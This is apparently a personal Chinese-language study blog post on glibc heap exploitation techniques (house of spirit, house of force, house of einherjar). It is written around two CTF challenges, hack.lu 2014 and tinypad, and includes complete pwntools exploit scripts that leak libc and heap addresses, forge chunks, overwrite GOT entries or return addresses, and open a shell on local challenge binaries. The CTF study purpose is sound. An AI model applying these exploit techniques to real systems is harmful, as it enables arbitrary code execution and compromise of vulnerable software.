最近 在wiki学习了 house of 这些东西 但是一直都没有找到联系的地方,
然后 在一篇博客上发现了上面有讲东西并且练习题 很好
所以我就拿来联系了一把 并且记录一下 大概思路
house of spirit
这个wiki上好像没有 但是利用方法其实还是差不多的
这个主要就是 fastbin的利用 伪造一个堆块 然后让 free到这个堆块 让 伪造堆块进入fasebin的里面 然后达到自己想要的结果
然后根据这个博客的例题来增加一下自己的了解
hack.lu 2014 ctf
这个题目 看一下数据结构
然后看一下ida 的主要逻辑结构
然后找到 漏洞点
发现name 还有 desc 可以 写很多的地方 这里就可以利用这里来伪造堆块达到 想要的目的。
比如 可以覆盖 list_addr指针 利用这个指针 可以泄露基址 还有free到我们想要的伪造堆块
这道题没有开pie 这里有几个变量
我们可以把 list_sum 修改成 0x41 (一直add 就可以了)
然后把堆块申请到 a0 哪里 然后可以通过 submit_order 来修改got表 拿到shell
exp 如下
#!/usr/bin/env python
# -*- coding=utf-8 -*-
from pwn import *
context.log_level = "debug"
io = process("./pwn",stdin=PTY)
elf=ELF("./pwn")
libc=elf.libc
def add(name, descrip):
io.recvuntil("Action:")
io.sendline("1")
io.recvuntil("name:")
io.sendline(name)
io.recvuntil("description:")
io.sendline(descrip)
def show():
io.recvuntil("Action:")
io.sendline("2")
io.recvuntil("Name: ")
def dele():
io.recvuntil("Action:")
io.sendline("3")
def leave(message):
io.recvuntil("Action:")
io.sendline("4")
io.recvuntil("order: ")
io.sendline(message)
sscanf_got = 0x804A258
fake_heap = 0x804A2A0
if __name__ =="__main__":
payload='a'*27+p32(sscanf_got-0x19)
add(payload,'ppx')
show()
io.recvuntil('Name: ')
sscanf_addr=u32(io.recv(4))
libc_base_addr=sscanf_addr-libc.sym['__isoc99_sscanf']
log.success("libc_base_addr "+hex(libc_base_addr))
for i in range(0x40-1):
add(chr(i)*5,'ppx')
payload='a'*27+p32(fake_heap+8)
add(payload,'ppx')
payload='\x00'*36+p32(0x41)
leave(payload)
dele()
add('ppx',p32(sscanf_got))
system_addr=libc.sym['system']+libc_base_addr
leave(p32(system_addr))
io.sendline("/bin/sh;")
io.interactive()
io.close()
house of force
这个题 在以前写过 链接
https://blog.csdn.net/qq_41071646/article/details/98492466
这个堆块利用方法就是 修改top chunks的size 达到任意读/写的功能
house of einherjar
这个题目的利用,,
这个利用方法还是和 top chunk 有关系的 然后题目是
2016年Second ctf tinypad
这个题目 其实 让我很头大,,, 在ida 里面看的很恶心,
不过自己运行一遍 然后 再看的话 就逻辑比较明朗了
值得一提的是 这个 题目没有开PIE 但是不能修改got表
可以把计算出one_gadget的地址,然后把ret __libc_start_main
修改成one_gadget的地址
问题就是怎么泄露 基址 还有 heap 的基址
其实这里很好泄露 因为 这里 的dele
并没有把用户指针给 清除 那么就可以直接打印出我们free 掉的堆块值的指针,,
这个很好写 其中我自己写的时候 先dele的 3 导致堆块的基址 没有办法泄露
然后 堆块的的大小 我一开始也是很随意的定义,
发现了 第二个堆块 必须 0xf0 或者 0xf8
然后这里 原因感觉有点迷糊,,
然后 其它就很好说了 伪造堆块 到 tinypad
其它都是一把梭了
下面是 exp
#!/usr/bin/env python2
# -*- coding=utf-8 -*-
from pwn import *
io=process("./pwn")
elf=ELF("./pwn")
libc=elf.libc
context.log_level='debug'
def add(size, content):
io.readuntil("(CMD)>>>")
io.sendline("a")
io.readuntil("(SIZE)>>>")
io.sendline(str(size))
io.readuntil("(CONTENT)>>>")
io.sendline(content)
def dele(index):
io.readuntil("(CMD)>>>")
io.sendline("d")
io.readuntil("(INDEX)>>>")
io.sendline(str(index))
def edit(index, content):
io.readuntil("(CMD)>>>")
io.sendline("e")
io.readuntil("(INDEX)>>>")
io.sendline(str(index))
io.readuntil("(CONTENT)>>>")
io.sendline(content)
io.readuntil("(Y/n)>>>")
io.sendline("y")
if __name__ =="__main__":
add(0xe0,'a'*10)
add(0xf8,'b'*0xf0)
add(0x100,'c'*0xf0)
add(0x100,'d'*10)
dele(3)
dele(1)
io.recvuntil("INDEX: 1")
io.recvuntil("CONTENT: ")
heap_base=u64(io.recvline().rstrip().ljust(8,'\x00'))-0x1f0
log.success("heap_base "+hex(heap_base))
io.recvuntil("INDEX: 3")
io.recvuntil("CONTENT: ")
main_arena=u64(io.recv(6).ljust(8,'\x00'))
libc_base_addr=main_arena-88-0x3C4B20
gadget_addr=libc_base_addr+0x45216
log.success("libc_base_addr "+hex(libc_base_addr))
offest_size=heap_base+0xf0-0x602040
print hex(offest_size)
payload='f'*0xe0+p64(offest_size)
add(0xe8,payload)
#gdb.attach(io)
#pause()
dele(4)
#dele(3)
payload=p64(0x100) + p64(offest_size) + p64(0x602040)*4
edit(2,payload)
#gdb.attach(io)
#pause()
dele(2)
add(0xe0,'e'*0xd0)
#gdb.attach(io)
#pause()
payload = p64(0xe8) + p64(libc_base_addr + libc.symbols["__environ"])
payload += p64(0xe8) + p64(0x602148)
add(0x100,payload)
io.recvuntil("# CONTENT: ")
stack_env =u64(io.recv(6).ljust(8,'\x00'))
edit(2, p64(stack_env-240))
edit(1, p64(gadget_addr))
io.recvuntil("(CMD)>>>")
io.sendline("Q")
#gdb.attach(io)
#pause()
#print io.recv()
io.interactive()
io.close()
再次感谢 下面链接的作者
下面的目标是 看0days 的书 希望能复现一些 CVE
参考链接